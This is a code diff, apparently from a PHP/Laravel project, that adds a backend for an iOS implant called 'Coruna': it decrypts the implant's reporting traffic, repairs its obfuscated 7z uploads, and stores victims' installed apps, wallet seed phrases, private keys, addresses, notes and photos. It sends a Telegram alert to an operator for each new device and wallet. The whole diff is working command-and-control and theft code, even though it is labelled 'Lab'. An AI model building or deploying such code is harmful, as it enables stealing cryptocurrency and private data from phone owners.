||||
/**
|
||||
* Repair Coruna obfuscated 7z headers and extract with p7zip.
|
||||
*/
|
||||
class CorunaArchive
|
||||
{
|
||||
private const STANDARD_PREFIX = "7z\xBC\xAF'\x1C";
|
||||
|
||||
private const HEADER_XOR = 0x1234567800ABCDEF;
|
||||
|
||||
private const HEADER_MARKER_1 = 0x000A000900010804;
|
||||
|
||||
private const HEADER_MARKER_2 = 0x009812000B0F0D0C;
|
||||
|
||||
public function __construct(
|
||||
private readonly CorunaCrypto $crypto,
|
||||
private readonly string $sevenZip = '/opt/homebrew/opt/p7zip/bin/7z',
|
||||
) {}
|
||||
|
||||
public function isCorunaHeader(string $data): bool
|
||||
{
|
||||
if (strlen($data) < 32) {
|
||||
return false;
|
||||
}
|
||||
if (str_starts_with($data, self::STANDARD_PREFIX)) {
|
||||
return false;
|
||||
}
|
||||
$m1 = unpack('P', substr($data, 16, 8))[1];
|
||||
$m2 = unpack('P', substr($data, 24, 8))[1];
|
||||
|
||||
return $m1 === self::HEADER_MARKER_1 && $m2 === self::HEADER_MARKER_2;
|
||||
}
|
||||
|
||||
public function repairHeader(string $data): string
|
||||
{
|
||||
if (str_starts_with($data, self::STANDARD_PREFIX)) {
|
||||
return $data;
|
||||
}
|
||||
if (strlen($data) < 33 || ! $this->isCorunaHeader($data)) {
|
||||
throw new RuntimeException('not a Coruna header-obfuscated 7z archive');
|
||||
}
|
||||
|
||||
$nextHeaderOffset = unpack('P', substr($data, 0, 8))[1] ^ self::HEADER_XOR;
|
||||
$nextHeaderSize = unpack('P', substr($data, 8, 8))[1] ^ self::HEADER_XOR;
|
||||
$nextHeaderStart = 32 + $nextHeaderOffset;
|
||||
$nextHeaderEnd = $nextHeaderStart + $nextHeaderSize;
|
||||
if ($nextHeaderSize === 0 || $nextHeaderEnd > strlen($data)) {
|
||||
throw new RuntimeException('invalid Coruna 7z bounds');
|
||||
}
|
||||
|
||||
$repaired = $data;
|
||||
$repaired = substr_replace($repaired, self::STANDARD_PREFIX."\x00\x04", 0, 8);
|
||||
$repaired = substr_replace($repaired, pack('P', $nextHeaderOffset), 12, 8);
|
||||
$repaired = substr_replace($repaired, pack('P', $nextHeaderSize), 20, 8);
|
||||
$nextCrc = crc32(substr($repaired, $nextHeaderStart, $nextHeaderSize)) & 0xFFFFFFFF;
|
||||
$repaired = substr_replace($repaired, pack('V', $nextCrc), 28, 4);
|
||||
$startCrc = crc32(substr($repaired, 12, 20)) & 0xFFFFFFFF;
|
||||
$repaired = substr_replace($repaired, pack('V', $startCrc), 8, 4);
|
||||
|
||||
return $repaired;
|
||||
}
|
||||
|
||||
public function extract(string $wireData, string $destDir, string $batchBase = '0'): array
|
||||
{
|
||||
if (! is_dir($destDir)) {
|
||||
mkdir($destDir, 0755, true);
|
||||
}
|
||||
|
||||
try {
|
||||
$repaired = $this->repairHeader($wireData);
|
||||
} catch (\Throwable $e) {
|
||||
$repaired = $wireData;
|
||||
}
|
||||
|
||||
$archive = $destDir.'/capture.7z';
|
||||
file_put_contents($archive, $repaired);
|
||||
file_put_contents($destDir.'/wire.bin', $wireData);
|
||||
$password = $this->crypto->archivePassword($batchBase);
|
||||
$membersDir = $destDir.'/members';
|
||||
@mkdir($membersDir, 0755, true);
|
||||
|
||||
$bin = is_executable($this->sevenZip) ? $this->sevenZip : '7z';
|
||||
$result = Process::timeout(120)->run([
|
||||
$bin, 'x', '-y',
|
||||
'-p'.$password,
|
||||
'-o'.$membersDir,
|
||||
$archive,
|
||||
]);
|
||||
|
||||
$files = [];
|
||||
if (is_dir($membersDir)) {
|
||||
$it = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator(
|
||||
$membersDir,
|
||||
\FilesystemIterator::SKIP_DOTS
|
||||
));
|
||||
foreach ($it as $file) {
|
||||
if ($file->isFile()) {
|
||||
$files[] = $file->getPathname();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'ok' => $result->successful() && count($files) > 0,
|
||||
'stderr' => $result->errorOutput(),
|
||||
'files' => $files,
|
||||
'password_recipe' => 'session_key||'.$batchBase,
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Coruna reporting transport crypto (ParamsModel / TTNetwork).
|
||||
*
|
||||
* body = Base64(AES-256-ECB-PKCS7(SHA256(session_key||timestamp), timestamp||payload))
|
||||
*/
|
||||
class CorunaCrypto
|
||||
{
|
||||
private const KEY_STATE_HEX =
|
||||
'f2e61e583b65753af05b8f6ec65a681fcc6f93d20cca9153ed13133c6c291565';
|
||||
|
||||
private const AES_SBOX_HEX =
|
||||
'637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0'
|
||||
.'b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275'
|
||||
.'09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf'
|
||||
.'d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2'
|
||||
.'cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb'
|
||||
.'e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08'
|
||||
.'ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e'
|
||||
.'e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16';
|
||||
|
||||
private string $sessionKey;
|
||||
|
||||
private string $sbox;
|
||||
|
||||
public function __construct(?string $sessionKey = null)
|
||||
{
|
||||
$this->sbox = hex2bin(self::AES_SBOX_HEX);
|
||||
$this->sessionKey = $sessionKey ?? $this->deriveSessionKey(0);
|
||||
if (strlen($this->sessionKey) !== 16) {
|
||||
throw new RuntimeException('session key must be 16 bytes');
|
||||
}
|
||||
}
|
||||
|
||||
public function sessionKey(): string
|
||||
{
|
||||
return $this->sessionKey;
|
||||
}
|
||||
|
||||
public function deriveArchivePassword(int $seed = 0): string
|
||||
{
|
||||
$mask = 0xFFFFFFFF;
|
||||
$state = hex2bin(self::KEY_STATE_HEX);
|
||||
$words = array_values(unpack('V8', $state));
|
||||
|
||||
if ($seed !== 0) {
|
||||
$counter = -35;
|
||||
$accumulator = $seed & $mask;
|
||||
for ($index = 0; $index < 8; $index++) {
|
||||
$rotated = $this->ror32($seed, -38 - $counter);
|
||||
$words[$index] = ($accumulator + ($words[$index] ^ $rotated)) & $mask;
|
||||
if ($counter === 0) {
|
||||
break;
|
||||
}
|
||||
$counter += 5;
|
||||
$accumulator = ($accumulator + $seed) & $mask;
|
||||
}
|
||||
}
|
||||
|
||||
for ($roundIndex = 0; $roundIndex < 12; $roundIndex++) {
|
||||
$roundNumber = $roundIndex + 1;
|
||||
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16 — uint64 via BCMath
|
||||
$roundValue = $this->mulU64Shift16($roundNumber);
|
||||
for ($index = 0; $index < 8; $index++) {
|
||||
$value = $words[$index];
|
||||
$value =
|
||||
ord($this->sbox[$value & 0xFF])
|
||||
| (ord($this->sbox[($value >> 8) & 0xFF]) << 8)
|
||||
| (ord($this->sbox[($value >> 16) & 0xFF]) << 16)
|
||||
| (ord($this->sbox[($value >> 24) & 0xFF]) << 24);
|
||||
$value = $this->ror32($value, -$words[($index + 1) & 7]);
|
||||
$value ^= $this->ror32($words[($index + 3) & 7], 13);
|
||||
$value = ($value + $roundValue) & $mask;
|
||||
$words[$index] = $value;
|
||||
if ($index & 1) {
|
||||
$words[$index] = (
|
||||
$this->ror32($words[$index - 1], -($value & 0xF)) ^ $value
|
||||
) & $mask;
|
||||
}
|
||||
}
|
||||
if ($roundIndex === 5) {
|
||||
$words[2] ^= 0x7BD6C6C8;
|
||||
$words[5] ^= 0x5ECAF26A;
|
||||
} elseif ($roundIndex === 9) {
|
||||
$previousZero = $words[0];
|
||||
$words[0] = ($words[7] ^ $this->ror32($previousZero, 25)) & $mask;
|
||||
$words[3] = ($words[3] + ($words[4] ^ 0xDEADBEEF)) & $mask;
|
||||
}
|
||||
}
|
||||
|
||||
$packed = pack('V8', ...$words);
|
||||
$folded = '';
|
||||
for ($i = 0; $i < 16; $i++) {
|
||||
$folded .= chr(ord($packed[$i]) ^ ord($packed[$i + 16]));
|
||||
}
|
||||
$derived = '';
|
||||
for ($i = 0; $i < 16; $i++) {
|
||||
$derived .= $this->sbox[(ord($folded[$i]) + $i) & 0xFF];
|
||||
}
|
||||
|
||||
return bin2hex($derived);
|
||||
}
|
||||
|
||||
public function deriveSessionKey(int $seed = 0): string
|
||||
{
|
||||
$raw = hex2bin($this->deriveArchivePassword($seed));
|
||||
$out = '';
|
||||
for ($i = 0; $i < strlen($raw); $i++) {
|
||||
$out .= chr((ord($raw[$i]) % 94) + 33);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function decryptJsonBody(string $ciphertext, string $timestamp): mixed
|
||||
{
|
||||
$this->assertTimestamp($timestamp);
|
||||
$encrypted = base64_decode($ciphertext, true);
|
||||
if ($encrypted === false) {
|
||||
$decoded = json_decode($ciphertext, true);
|
||||
if (is_string($decoded)) {
|
||||
$encrypted = base64_decode($decoded, true);
|
||||
}
|
||||
}
|
||||
if ($encrypted === false || $encrypted === '') {
|
||||
throw new RuntimeException('invalid base64 body');
|
||||
}
|
||||
|
||||
$key = hash('sha256', $this->sessionKey.$timestamp, true);
|
||||
$padded = openssl_decrypt($encrypted, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
|
||||
if ($padded === false) {
|
||||
throw new RuntimeException('AES decrypt failed');
|
||||
}
|
||||
$plaintext = $this->pkcs7Unpad($padded);
|
||||
$prefix = $timestamp;
|
||||
if (! str_starts_with($plaintext, $prefix)) {
|
||||
throw new RuntimeException('timestamp prefix mismatch');
|
||||
}
|
||||
$json = substr($plaintext, strlen($prefix));
|
||||
if ($json === 'null') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return json_decode($json, true, 512, JSON_THROW_ON_ERROR);
|
||||
}
|
||||
|
||||
public function encryptPayload(string $payload, ?string $timestamp = null): array
|
||||
{
|
||||
$timestamp ??= (string) (int) round(microtime(true) * 1000);
|
||||
$this->assertTimestamp($timestamp);
|
||||
$key = hash('sha256', $this->sessionKey.$timestamp, true);
|
||||
$plain = $timestamp.$payload;
|
||||
$padded = $this->pkcs7Pad($plain);
|
||||
$encrypted = openssl_encrypt($padded, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
|
||||
if ($encrypted === false) {
|
||||
throw new RuntimeException('AES encrypt failed');
|
||||
}
|
||||
|
||||
return [
|
||||
'timestamp' => $timestamp,
|
||||
'body' => base64_encode($encrypted),
|
||||
];
|
||||
}
|
||||
|
||||
public function encryptJson(mixed $data, ?string $timestamp = null): array
|
||||
{
|
||||
if ($data === null) {
|
||||
$payload = 'null';
|
||||
} else {
|
||||
$payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
}
|
||||
|
||||
return $this->encryptPayload($payload, $timestamp);
|
||||
}
|
||||
|
||||
public function archivePassword(string $batchBaseTimestamp = '0'): string
|
||||
{
|
||||
return $this->sessionKey.$batchBaseTimestamp;
|
||||
}
|
||||
|
||||
private function assertTimestamp(string $timestamp): void
|
||||
{
|
||||
if (! preg_match('/^\d{13}$/', $timestamp)) {
|
||||
throw new RuntimeException('timestamp must be 13 digits');
|
||||
}
|
||||
}
|
||||
|
||||
private function pkcs7Pad(string $data): string
|
||||
{
|
||||
$pad = 16 - (strlen($data) % 16);
|
||||
|
||||
return $data.str_repeat(chr($pad), $pad);
|
||||
}
|
||||
|
||||
private function pkcs7Unpad(string $data): string
|
||||
{
|
||||
$len = strlen($data);
|
||||
if ($len === 0 || ($len % 16) !== 0) {
|
||||
throw new RuntimeException('invalid ciphertext length');
|
||||
}
|
||||
$pad = ord($data[$len - 1]);
|
||||
if ($pad < 1 || $pad > 16 || substr($data, -$pad) !== str_repeat(chr($pad), $pad)) {
|
||||
throw new RuntimeException('invalid PKCS#7 padding');
|
||||
}
|
||||
|
||||
return substr($data, 0, -$pad);
|
||||
}
|
||||
|
||||
private function mulU64Shift16(int $roundNumber): int
|
||||
{
|
||||
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16
|
||||
$product = gmp_mul((string) $roundNumber, '0xAC534878DC48202A');
|
||||
$masked = gmp_and($product, '0xFFFFFFFFFFFFFFFF');
|
||||
$shifted = gmp_div_q($masked, 65536);
|
||||
|
||||
return (int) gmp_intval($shifted);
|
||||
}
|
||||
|
||||
private function ror32(int $value, int $amount): int
|
||||
{
|
||||
$value &= 0xFFFFFFFF;
|
||||
$amount &= 31;
|
||||
if ($amount === 0) {
|
||||
return $value;
|
||||
}
|
||||
|
||||
return (($value >> $amount) | (($value << (32 - $amount)) & 0xFFFFFFFF)) & 0xFFFFFFFF;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,356 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\Wallet;
|
||||
use App\Models\WalletAddress;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class IngestService
|
||||
{
|
||||
public function __construct(private readonly TelegramNotifier $telegram) {}
|
||||
|
||||
/**
|
||||
* Stable device id — currently only from payload `d` / `f`.
|
||||
* Other fields will be added when confirmed in live traffic.
|
||||
*/
|
||||
public function extractDeviceKey(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['d', 'f'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return substr($payload[$key], 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey ??= $this->extractDeviceKey($payload);
|
||||
if (! $deviceKey) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$deviceModel = $this->extractDeviceModel($payload);
|
||||
$ios = $this->extractIosVersion($payload);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
$attrs = [
|
||||
'ip' => $request->ip(),
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
}
|
||||
if ($deviceModel !== null) {
|
||||
$attrs['device_model'] = $deviceModel;
|
||||
} elseif ($existing) {
|
||||
$attrs['device_model'] = $existing->device_model;
|
||||
}
|
||||
if ($ios !== null) {
|
||||
$attrs['ios_version'] = $ios;
|
||||
} elseif ($existing) {
|
||||
$attrs['ios_version'] = $existing->ios_version;
|
||||
}
|
||||
|
||||
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
|
||||
$device = Device::query()->updateOrCreate(
|
||||
['device_id' => $deviceKey],
|
||||
$attrs
|
||||
);
|
||||
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
}
|
||||
|
||||
return $device;
|
||||
}
|
||||
|
||||
/**
|
||||
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
|
||||
*/
|
||||
public function ingestInstalledApps(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$walletBundles = config('coruna.wallet_bundles', []);
|
||||
foreach ($payload['al'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
||||
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
||||
$version = isset($item['v']) ? (string) $item['v'] : null;
|
||||
if ($bundle === '') {
|
||||
continue;
|
||||
}
|
||||
$isWallet = in_array($bundle, $walletBundles, true)
|
||||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||||
[
|
||||
'name' => $name,
|
||||
'version' => $version,
|
||||
'is_wallet' => $isWallet,
|
||||
'meta_json' => $item,
|
||||
]
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
|
||||
*/
|
||||
public function ingestDeviceEvent(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
|
||||
$desc = $payload['desc'] ?? $payload['description'] ?? null;
|
||||
if ($eventName === null && $desc === null) {
|
||||
return;
|
||||
}
|
||||
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
|
||||
$contextJson = null;
|
||||
if (is_array($ctx)) {
|
||||
$contextJson = $ctx;
|
||||
} elseif ($ctx !== null) {
|
||||
$contextJson = ['value' => $ctx];
|
||||
}
|
||||
|
||||
DeviceEvent::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'event_name' => is_string($eventName) ? $eventName : null,
|
||||
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
|
||||
'context_json' => $contextJson,
|
||||
]);
|
||||
}
|
||||
|
||||
public function ingestWalletSecrets(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$mnemonic = null;
|
||||
$priv = null;
|
||||
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
|
||||
$mnemonic = $payload[$key];
|
||||
break;
|
||||
}
|
||||
}
|
||||
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
$priv = $payload[$key];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($mnemonic === null && $priv === null) {
|
||||
if (isset($payload['result']) || isset($payload['data'])) {
|
||||
Wallet::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||||
'raw_json' => $payload,
|
||||
]);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
$wallet = new Wallet([
|
||||
'device_id' => $device->id,
|
||||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||||
'raw_json' => $payload,
|
||||
]);
|
||||
$wallet->mnemonic = $mnemonic;
|
||||
$wallet->privkey = $priv;
|
||||
$wallet->save();
|
||||
}
|
||||
|
||||
public function ingestAddresses(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$rows = [];
|
||||
if (isset($payload['data']) && is_array($payload['data'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['data']);
|
||||
} elseif (isset($payload['result']) && is_array($payload['result'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['result']);
|
||||
} else {
|
||||
$rows = $this->normalizeAddressRows($payload);
|
||||
}
|
||||
|
||||
foreach ($rows as $row) {
|
||||
$address = $row['address'] ?? null;
|
||||
if (! $address || ! is_string($address)) {
|
||||
continue;
|
||||
}
|
||||
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
|
||||
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
|
||||
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
|
||||
$existing = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', $address)
|
||||
->where('chain', $chain)
|
||||
->first();
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
|
||||
[
|
||||
'balance' => $balance,
|
||||
'symbol' => $symbol,
|
||||
'meta_json' => $row,
|
||||
]
|
||||
);
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||||
$addr->telegram_notified = true;
|
||||
$addr->save();
|
||||
} elseif ($balance !== null && $existing->balance !== $balance) {
|
||||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function ingestNotes(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
|
||||
if (! is_array($notes)) {
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'title' => 'raw',
|
||||
'body' => null,
|
||||
'meta_json' => $payload,
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
$list = array_is_list($notes) ? $notes : [$notes];
|
||||
foreach ($list as $note) {
|
||||
if (! is_array($note)) {
|
||||
continue;
|
||||
}
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'title' => $note['title'] ?? $note['name'] ?? null,
|
||||
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
|
||||
'meta_json' => $note,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
|
||||
{
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
}
|
||||
$bytes = file_get_contents($path);
|
||||
$sha = hash('sha256', $bytes);
|
||||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => $sha,
|
||||
'path' => $rel,
|
||||
'size' => strlen($bytes),
|
||||
'counters_json' => $counters,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function extractDeviceModel(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['deviceModel'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
|
||||
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
|
||||
return $payload['m'];
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info)) {
|
||||
foreach (['productType', 'machine', 'model'] as $key) {
|
||||
if (! empty($info[$key]) && is_string($info[$key])) {
|
||||
return $info[$key];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function extractIosVersion(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
// /api/user/get uses `v` for iOS version
|
||||
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
|
||||
return $payload['v'];
|
||||
}
|
||||
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
$sv = $payload['systemVersion'] ?? null;
|
||||
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
|
||||
return $sv['ProductVersion'];
|
||||
}
|
||||
if (is_string($sv) && $sv !== '') {
|
||||
return $sv;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function looksLikeMnemonic(string $value): bool
|
||||
{
|
||||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||||
|
||||
return in_array(count($words), [12, 15, 18, 21, 24], true)
|
||||
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
|
||||
}
|
||||
|
||||
private function normalizeAddressRows(array $data): array
|
||||
{
|
||||
if (array_is_list($data)) {
|
||||
return array_values(array_filter($data, 'is_array'));
|
||||
}
|
||||
if (isset($data['address'])) {
|
||||
return [$data];
|
||||
}
|
||||
$out = [];
|
||||
foreach ($data as $value) {
|
||||
if (is_array($value) && isset($value['address'])) {
|
||||
$out[] = $value;
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TelegramNotifier
|
||||
{
|
||||
public function enabled(): bool
|
||||
{
|
||||
return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
|
||||
}
|
||||
|
||||
public function send(string $text): bool
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return false;
|
||||
}
|
||||
$token = config('coruna.telegram.bot_token');
|
||||
$chatId = config('coruna.telegram.owner_chat_id');
|
||||
try {
|
||||
$resp = Http::timeout(15)->asForm()->post(
|
||||
"https://api.telegram.org/bot{$token}/sendMessage",
|
||||
[
|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
'disable_web_page_preview' => true,
|
||||
]
|
||||
);
|
||||
|
||||
return $resp->successful();
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram send failed: '.$e->getMessage());
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'[Coruna Lab] New device',
|
||||
'id: '.$deviceId,
|
||||
'ios: '.($ios ?: '—'),
|
||||
'ip: '.($ip ?: '—'),
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'[Coruna Lab] New wallet address',
|
||||
'device: '.$deviceId,
|
||||
'chain: '.($chain ?: '—'),
|
||||
'address: '.$address,
|
||||
'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')),
|
||||
]));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user